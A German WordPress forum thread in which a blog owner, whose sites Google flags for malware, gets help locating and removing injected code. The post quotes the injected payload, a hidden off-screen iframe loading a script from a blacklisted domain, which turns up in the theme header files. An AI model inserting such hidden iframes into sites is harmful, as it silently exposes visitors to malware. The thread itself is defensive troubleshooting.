Google meldet Malware

Hallo,

ich bin verzweifelt.
Am Freitag hat google mir gesagt das meine beiden Blogs
eine Malware enthalten würden.
Wie kann das sein, wenn man WP immer aktuell hält?
Es geht um dieses hier;

Zitat

<iframe id="modyd" name="modyd" style="position:absolute; height: 90px; width:110px; left:5000px; top:110px;" src="http://www.redqdn.com/admin/avidstats.php?id=171380">

Ich kann aber wirklich den Fehler nirgends finden...
Kennt jemand das Problem und kann mir sagen, was ich genau löschen müsste?
Mein PC ist sauber, den habe ich mehrfach gscannt, auch habe ich mein ftp-Paßwort und
meine Blogpaßwörter geändert. Auch habe ich schon öfters
die Seiten gelöscht und wieder neu aufgespielt und dann bei google
die erneute Prüfung beantragt. Aber immer wieder soll
das noch drauf sein. Ich weiß aber nicht wo......

Kann mir wer bitte helfen was ich noch machen soll/kann?
Mit Datenbanken kenne ich mich nicht so aus. Muß ich auch dabei gehen?
Wenn ja wie?

Vielen lieben Dank.

Hallo,

bitte, die HILFE ist DRINGEND!!!!!

Hallo,

danke für die schnelle Antwort; meine Antwort ist: 1 und 1.
Wieso?
Und wie reinige ich den Server?
Dann muß ich wohl mal 1und1 nach Backups fragen.......

Hallo,

Zitat

Javascript included from a blacklisted domain.
Details: ://sucuri.net/malware/entry/MW:BLK:2
Javascript: ww.redqdn.com

(die Links habe ich etwas gekürzt, damit nicht jeder Dau drauf klickt)

das war die Antwort von der Seite. Mehr steht da nicht.
Habe 1und1 gebeten mal den Server zu reinigen ;) , mal sehen ob das etwas bringt.
Habe schon mehrfach meine Seiten gelöscht und neu aufgespielt und auch
bei google beantragt diese wieder zu öffnen.
Aber die bleiben geschlossen.
Warum weiß ich nicht.

Was das für ein Müll ist, weiß ich nicht, kenne mich mit frames nicht so aus.

Zitat von gericoach

wenn du das nicht selbst eingesetzt hast, dann lösche es doch. Du schreibst, dass es als Fehlerquelle benannt wird, lässt es aber weiter drin...ist doch absurd.
1&1 wird deinen Server nicht reinigen. Das musst Du selbst machen.
Bevor Du Google wieder aufforderst, prüfe, ob die Seiten für G. überhaupt erreichbar sind.

Hallo,

ich kann das nicht löschen, weil ich nicht weiß wo das steht.
google gibt das zwar als snippet, aber löschen kann ich das nicht.
Wie bereinige ich den Server?
Darauf habe ich doch gar keinen Zugriff?
Doch nur auf meine Ordner und diese habe ich schon mehrfach gelöscht.

Zitat von gericoach

zumeist steht sowas in der header.php oder der footer.php.

Heute trägst Du den Titel "HELD des Tages"!

Bingo!!!

D-A-N-K-E!

Muß ich jetzt jede header.php durch gehen oder reichen die, welche ich gefunden habe?
Wie zum Teufel kommt das daran da rein?
Und wie verhindere ich das in Zukunft?

Zitat von pixselig

Überprüfe alle Theme- und PlugIn-Dateien nach dem Link/Iframe (mit einmal guten FTP-Programm kannst du mehrere Dateien gleichzeitig durchsuchen). Zusätzlich überprüfe auch deine DB danach (via phpmyadmin). Und bügle eine saubere neue WP-Installation manuell über deine.
Weiters mußt du, wie r23 schon schrieb, das Leck finden.

Kann man das auch mit filezilla machen?
Wie finde ich das Leck, davon habe ich doch keine Ahnung wie das rein kam?

Hallo,

zwischen Frage:
Brauche ich die im wp-content enthaltenden alten Uploadsordner?
Wenn ich schonmal am aufräumen bin.......

p.s.
Ich melde mich erstmal ab, es sind in sämtlichen header.php diese
scheiß Dinger drin.

Wir sehen uns im nächsten Jahrhundert :-o

Und

D-A-N-K-E

für die Hilfe bis hier her.

Hallo,

sind eigentlich alle meine "alten" Beiträge weg, wenn ich die anderen
Benutzter lösche oder bleiben die drin?

Hallo,

ich bräuchte noch eine Antwort für die Frage hier drüber und
wie sehe ich Veränderungen an meinen Datenbanken?
Wie sollte ich dort einen Fehler finden?
Kenne mich mit DB nicht so aus, da bräuchte ich bitte HILFE!

Braucht man die wpau_upgrade_log und die wpau_active_plugins_info?
Oder sind das die "Fehler"?